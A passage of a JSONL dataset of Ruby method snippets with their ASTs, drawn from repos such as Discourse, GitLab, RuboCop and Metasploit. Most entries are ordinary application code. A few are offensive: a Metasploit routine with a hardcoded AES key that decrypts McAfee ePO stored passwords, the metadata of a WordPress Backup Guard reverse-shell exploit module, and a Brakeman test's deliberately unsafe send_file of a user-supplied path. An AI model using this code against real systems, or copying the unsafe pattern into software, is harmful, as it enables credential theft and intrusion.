,\"tags\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_staff?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"in_any_groups?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"accept_all_solutions_allowed_groups_map\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_category_group_moderator?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"user_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"closed\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"accept_solutions_topic_author\"]}]}]}]}","id":"80ffd144-3393-4d0b-b17c-c9bdc71c80c8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/table_of_content.rb","start_line":149,"raw_source":"def write_toc_item!(toc_item, levels_indent_list)\n      y_start_position = pdf.y\n      part_style, toc_item_style = build_toc_item_styles(toc_item)\n      indent = levels_indent_list[toc_item[:level] - 1]\n\n      write_toc_part_float(indent[:level_indent], toc_item[:level_string], part_style)\n      write_toc_part_float(0, toc_item[:page_nr_string], part_style.merge({ align: :right }))\n      write_toc_item_subject(toc_item, indent[:subject_index], toc_item_style)\n      write_toc_item_link(toc_item, y_start_position)\n    end","complexity_score":22.15,"ast_json":"{\"type\":\"def\",\"children\":[\"write_toc_item!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"toc_item\"]},{\"type\":\"arg\",\"children\":[\"levels_indent_list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"y_start_position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"y\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"part_style\"]},{\"type\":\"lvasgn\",\"children\":[\"toc_item_style\"]}]},{\"type\":\"send\",\"children\":[null,\"build_toc_item_styles\",{\"type\":\"lvar\",\"children\":[\"toc_item\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"indent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels_indent_list\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toc_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"level\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_toc_part_float\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"level_indent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toc_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"level_string\"]}]},{\"type\":\"lvar\",\"children\":[\"part_style\"]}]},{\"type\":\"send\",\"children\":[null,\"write_toc_part_float\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toc_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page_nr_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part_style\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"align\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_toc_item_subject\",{\"type\":\"lvar\",\"children\":[\"toc_item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject_index\"]}]},{\"type\":\"lvar\",\"children\":[\"toc_item_style\"]}]},{\"type\":\"send\",\"children\":[null,\"write_toc_item_link\",{\"type\":\"lvar\",\"children\":[\"toc_item\"]},{\"type\":\"lvar\",\"children\":[\"y_start_position\"]}]}]}]}","id":"c00c1b65-fcd5-44a7-8c9e-2c4c8f79ba80"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/stat.rb","start_line":142,"raw_source":"def calculate_daily_distances(monthly_points)\n    Stats::DailyDistanceQuery.new(monthly_points, timespan, user_timezone).call\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_daily_distances\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"monthly_points\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stats\"]},\"DailyDistanceQuery\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"monthly_points\"]},{\"type\":\"send\",\"children\":[null,\"timespan\"]},{\"type\":\"send\",\"children\":[null,\"user_timezone\"]}]},\"call\"]}]}","id":"1e57290d-fe81-4bc4-9a18-1f9a34f17481"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails3/app/controllers/other_controller.rb","start_line":20,"raw_source":"def test_send_file\n    send_file params[:file]\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_send_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]}]}","id":"f3364694-12fb-4e26-9875-950c1f0130bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240917143249_partition_ci_build_trace_metadata3.rb","start_line":80,"raw_source":"def already_partitioned?\n    ::Gitlab::Database::PostgresPartition\n      .for_parent_table(:p_ci_build_trace_metadata)\n      .any?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"already_partitioned?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Database\"]},\"PostgresPartition\"]},\"for_parent_table\",{\"type\":\"sym\",\"children\":[\"p_ci_build_trace_metadata\"]}]},\"any?\"]}]}","id":"42277f62-4ae0-4c05-83fa-a031249f5994"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder.rb","start_line":113,"raw_source":"def initialize(current_user, params = {})\n    @current_user = current_user\n    @original_params = params\n    @params = params_class.new(params, current_user, klass)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@original_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"klass\"]}]}]}]}]}","id":"fb52659d-7dbc-4d14-ba09-0d5228bf8c23"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/detect_values.rb","start_line":79,"raw_source":"def self.detect_selected_provisioning_profiles\n      Gym.config[:export_options] ||= {}\n      hash_to_use = (Gym.config[:export_options][:provisioningProfiles] || {}).dup || {} # dup so we can show the original values in `verbose` mode\n\n      unless Gym.config[:skip_profile_detection]\n        mapping_object = CodeSigningMapping.new(project: Gym.project)\n        hash_to_use = mapping_object.merge_profile_mapping(primary_mapping: hash_to_use,\n                                                           export_method: Gym.config[:export_method])\n      end\n\n      return if hash_to_use.count == 0 # We don't want to set a mapping if we don't have one\n      Gym.config[:export_options][:provisioningProfiles] = hash_to_use\n      UI.message(\"Detected provisioning profile mapping: #{hash_to_use}\")\n    rescue => ex\n      # We don't want to fail the build if the automatic detection doesn't work\n      # especially since the mapping is optional for pre Xcode 9 setups\n      if Helper.xcode_at_least?(\"9.0\")\n        UI.error(\"Couldn't automatically detect the provisioning profile mapping\")\n        UI.error(\"Since Xcode 9 you need to provide an explicit mapping of what\")\n        UI.error(\"provisioning profile to use for each target of your app\")\n        UI.error(ex)\n        UI.verbose(ex.backtrace.join(\"\\n\"))\n      end\n    end","complexity_score":49.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"detect_selected_provisioning_profiles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"export_options\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"hash_to_use\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"export_options\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"provisioningProfiles\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"dup\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_profile_detection\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping_object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CodeSigningMapping\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"project\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash_to_use\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping_object\"]},\"merge_profile_mapping\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_mapping\"]},{\"type\":\"lvar\",\"children\":[\"hash_to_use\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"export_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"export_method\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_to_use\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"export_options\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"provisioningProfiles\"]},{\"type\":\"lvar\",\"children\":[\"hash_to_use\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected provisioning profile mapping: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_to_use\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"xcode_at_least?\",{\"type\":\"str\",\"children\":[\"9.0\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Couldn't automatically detect the provisioning profile mapping\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Since Xcode 9 you need to provide an explicit mapping of what\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"provisioning profile to use for each target of your app\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},null]}]},null]}]}","id":"37af7d82-ba31-4426-8e51-bc3012168dd4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat_drawer/chat_drawer.rb","start_line":135,"raw_source":"def has_open_channels?\n        has_css?(\"html.has-drawer-chat\")\n        has_css?(\"#{VISIBLE_DRAWER} .public-channels\")\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_open_channels?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"str\",\"children\":[\"html.has-drawer-chat\"]}]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VISIBLE_DRAWER\"]}]},{\"type\":\"str\",\"children\":[\" .public-channels\"]}]}]}]}]}","id":"d187ab0f-d1d3-43d1-8537-59a0024396c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/scope_validator.rb","start_line":12,"raw_source":"def initialize(api_user, request_authenticator)\n        @api_user = api_user\n        @request_authenticator = request_authenticator\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_user\"]},{\"type\":\"arg\",\"children\":[\"request_authenticator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@api_user\",{\"type\":\"lvar\",\"children\":[\"api_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@request_authenticator\",{\"type\":\"lvar\",\"children\":[\"request_authenticator\"]}]}]}]}","id":"324b6dec-30eb-4dfe-ad22-70754455fcae"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/closing_heredoc_indentation.rb","start_line":74,"raw_source":"def argument_indentation_correct?(node)\n          return false unless node.argument? || node.chained?\n\n          opening_indentation(\n            find_node_used_heredoc_argument(node.parent)\n          ) == closing_indentation(node)\n        end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"argument_indentation_correct?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"argument?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"chained?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opening_indentation\",{\"type\":\"send\",\"children\":[null,\"find_node_used_heredoc_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]},\"==\",{\"type\":\"send\",\"children\":[null,\"closing_indentation\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"00d582a4-907f-45d8-b3ce-3be49d0d1821"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/epo_sql.rb","start_line":174,"raw_source":"def decrypt46(encoded)\n    encrypted_data = Rex::Text.decode_base64(encoded)\n    aes = OpenSSL::Cipher.new('AES-128-ECB')\n    aes.decrypt\n    aes.padding = 0\n    # Private key extracted from ePO 4.6.0 Build 1029\n    # If other keys are required for other versions of 4.6 - will have to add version\n    # identification routines in to the main part of the module\n    key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]\n    aes.key = key.pack('C*')\n    password = aes.update(encrypted_data) + aes.final\n    # Get rid of all the crazy \\f's that result\n    password.gsub!(/[^[:print:]]/, '')\n    return password\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt46\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoded\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encrypted_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"lvar\",\"children\":[\"encoded\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"AES-128-ECB\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"decrypt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"padding=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[94]},{\"type\":\"int\",\"children\":[-100]},{\"type\":\"int\",\"children\":[62]},{\"type\":\"int\",\"children\":[-33]},{\"type\":\"int\",\"children\":[-26]},{\"type\":\"int\",\"children\":[37]},{\"type\":\"int\",\"children\":[-124]},{\"type\":\"int\",\"children\":[54]},{\"type\":\"int\",\"children\":[102]},{\"type\":\"int\",\"children\":[33]},{\"type\":\"int\",\"children\":[-109]},{\"type\":\"int\",\"children\":[-128]},{\"type\":\"int\",\"children\":[49]},{\"type\":\"int\",\"children\":[90]},{\"type\":\"int\",\"children\":[41]},{\"type\":\"int\",\"children\":[51]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"key=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"encrypted_data\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes\"]},\"final\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^[:print:]]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}","id":"0f3462cb-8622-4b47-a742-d03c64c1afce"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/deprecated_class_methods.rb","start_line":83,"raw_source":"def offense_range(node)\n          if socket_const?(node.receiver) || dir_env_file_const?(node.receiver)\n            node.source_range.begin.join(node.loc.selector.end)\n          elsif node.method?(:attr)\n            node\n          else\n            node.loc.selector\n          end\n        end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"offense_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"socket_const?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"send\",\"children\":[null,\"dir_env_file_const?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"begin\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]},\"end\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"attr\"]}]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]}]}]}]}","id":"30133b23-eb3e-4838-9a0a-3e870efa86bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_plugin_backup_guard_rce.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Wordpress Plugin Backup Guard - Authenticated Remote Code Execution',\n        'Description' => %q{\n          This module allows an attacker with a privileged Wordpress account to launch a reverse shell\n          due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard < 1.6.0.\n          This is due to an incorrect check of the uploaded file extension which should be of SGBP type.\n          Then, the uploaded payload can be triggered by a call to `/wp-content/uploads/backup-guard/<random_payload_name>.php`\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Nguyen Van Khanh', # Original PoC, discovery\n          'Ron Jost', # Exploit-db\n          'Yann Castel (yann.castel[at]orange.com)' # Metasploit module\n        ],\n        'References' => [\n          ['EDB', '50093'],\n          ['CVE', '2021-24155'],\n          ['CWE', '434'],\n          ['WPVDB', 'd442acac-4394-45e4-b6bb-adf4a40960fb'],\n          ['URL', 'https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2473510%40backup&old=2472212%40backup&sfp_email=&sfph_mail=']\n        ],\n        'Platform' => [ 'php' ],\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          [ 'Wordpress Backup Guard < 1.6.0', {}]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2021-05-04',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n\n    register_options [\n      OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),\n      OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),\n      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])\n    ]\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Wordpress Plugin Backup Guard - Authenticated Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module allows an attacker with a privileged Wordpress account to launch a reverse shell\\n\"]},{\"type\":\"str\",\"children\":[\"          due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard < 1.6.0.\\n\"]},{\"type\":\"str\",\"children\":[\"          This is due to an incorrect check of the uploaded file extension which should be of SGBP type.\\n\"]},{\"type\":\"str\",\"children\":[\"          Then, the uploaded payload can be triggered by a call to `/wp-content/uploads/backup-guard/<random_payload_name>.php`\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nguyen Van Khanh\"]},{\"type\":\"str\",\"children\":[\"Ron Jost\"]},{\"type\":\"str\",\"children\":[\"Yann Castel (yann.castel[at]orange.com)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"50093\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-24155\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CWE\"]},{\"type\":\"str\",\"children\":[\"434\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"d442acac-4394-45e4-b6bb-adf4a40960fb\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2473510%40backup&old=2472212%40backup&sfp_email=&sfph_mail=\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Wordpress Backup Guard < 1.6.0\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2021-05-04\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\